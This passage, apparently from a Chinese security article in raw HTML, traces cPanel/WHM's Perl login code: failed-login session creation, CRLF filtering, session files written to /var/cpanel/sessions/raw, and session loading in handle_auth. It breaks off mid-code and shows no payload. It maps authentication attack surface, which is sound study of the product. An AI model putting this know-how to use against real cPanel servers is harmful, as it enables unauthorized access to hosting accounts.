&#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">sub</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> badpass</span></span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">%OPTS</span></span><span leaf="">) =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> @_</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    ...</span><span leaf=""><br/></span><span leaf="">    note_cphulk_failure(...)</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> if</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $OPTS</span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;notefailure&#39;</span></span><span leaf="">};</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    if</span></span><span leaf=""> (!</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$session</span></span><span leaf=""> &amp;&amp; !</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$OPTS</span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;skip_session_creation&#39;</span></span><span leaf="">}) {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""> # [1]</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">        my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $new_session</span></span><span leaf=""> = Cpanel::Session::create(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""><br/></span><span leaf="">            &#39;user&#39;</span></span><span leaf="">       =&gt;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> &#39;&#39;</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""><br/></span><span leaf="">            &#39;pass&#39;</span></span><span leaf="">       =&gt;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> &#39;&#39;</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""><br/></span><span leaf="">            &#39;needs_auth&#39;</span></span><span leaf=""> =&gt;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 1</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""><br/></span><span leaf="">            &#39;ip_address&#39;</span></span><span leaf=""> =&gt;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $ENV</span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;REMOTE_ADDR&#39;</span></span><span leaf="">},</span><span leaf=""><br/></span><span leaf="">        );</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""><br/></span><span leaf="">        # 通过 Set-Cookie 返回给客户端</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">        # Cookie 值包含 ,obhex 后缀</span></span><span leaf=""><br/></span><span leaf="">    }</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""><br/></span><span leaf="">    # 返回 401 响应</span></span><span leaf="">    send_401_response(...);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.36666666666666664" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009133" src="https://wechat2rss.xlab.app/img-proxy/?k=6ae9b84c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLniciaS4NHDWpicb32UKN2bEzwBqG0ktKGGfxX7gsfjeqBDCkbskQHdpicdEURCua6lialMG7a3icRAAOVMFiaAVCP4J3hKg8WU2vVE3w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">create</span></code><span leaf=""> 函数代码没有编译到二进制文件中，而是位于 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">/usr/local/cpanel/Cpanel/Session.pm</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">sub</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> create</span></span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">%args</span></span><span leaf="">) =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> @_</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $session_name</span></span><span leaf=""> = _generate_session_name();</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $ob</span></span><span leaf=""> = _generate_ob_secret();</span><span leaf=""><br/></span><span leaf="">    filter_sessiondata(\</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">%args</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""> # 过滤</span></span><span leaf=""><br/></span><span leaf="">    write_session(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$session_name</span></span><span leaf="">, \</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">%args</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    return</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> &#34;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$session_name</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$ob</span></span><span leaf="">&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">函数内会调用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">filter_sessiondata</span></code><span leaf=""> 过滤 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CRLF</span></code><span leaf=""> 。此时 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">write_session</span></code><span leaf=""> 写入文件到 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">/var/cpanel/sessions/raw</span></code><span leaf=""> 目录，文件内容如下：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.30833333333333335" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009131" src="https://wechat2rss.xlab.app/img-proxy/?k=3d01f558&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLlMgzMnFaeWPYlsjpc7aOCpNHAUjMcFw65XMV1iaOOvxa7IKPfrt52uoykCZvY2pdICxUicHC7PEeTeC1P66tkibLGm0M3b1BiczNY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);border-image: initial;margin: 2em 8px 0.75em 0px;padding: 0px 0px 0px 12px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 18px;font-weight: bold;color: rgb(63, 63, 63);border-radius: 6px;line-height: 2.4em;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">Basic Auth 认证</span></h3><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cPanel/WHM</span></code><span leaf=""> 还支持 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AUTH_HEADER</span></code><span leaf=""> 认证。如果携带 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Cookie</span></code><span leaf=""> 访问非 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">/login</span></code><span leaf=""> 接口，将进入 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">handle_auth</span></code><span leaf=""> 函数完成 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">session</span></code><span leaf=""> 加载：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">sub</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> handle_auth</span></span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $session</span></span><span leaf=""> =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $server_obj</span></span><span leaf="">-&gt;get_current_session;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $SESSION_ref</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    if</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$session</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> and</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$session</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> ne</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> &#39;closed&#39;</span></span><span leaf="">)) {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">    # session </span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">        $session</span></span><span leaf=""> =~</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> tr</span></span><span leaf="">[</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">/][]d;    # 删除 /</span></span><span leaf=""> ，防止路径穿越</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">        $SESSION_ref</span></span><span leaf=""> = Cpanel::Session::Load::loadSession(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 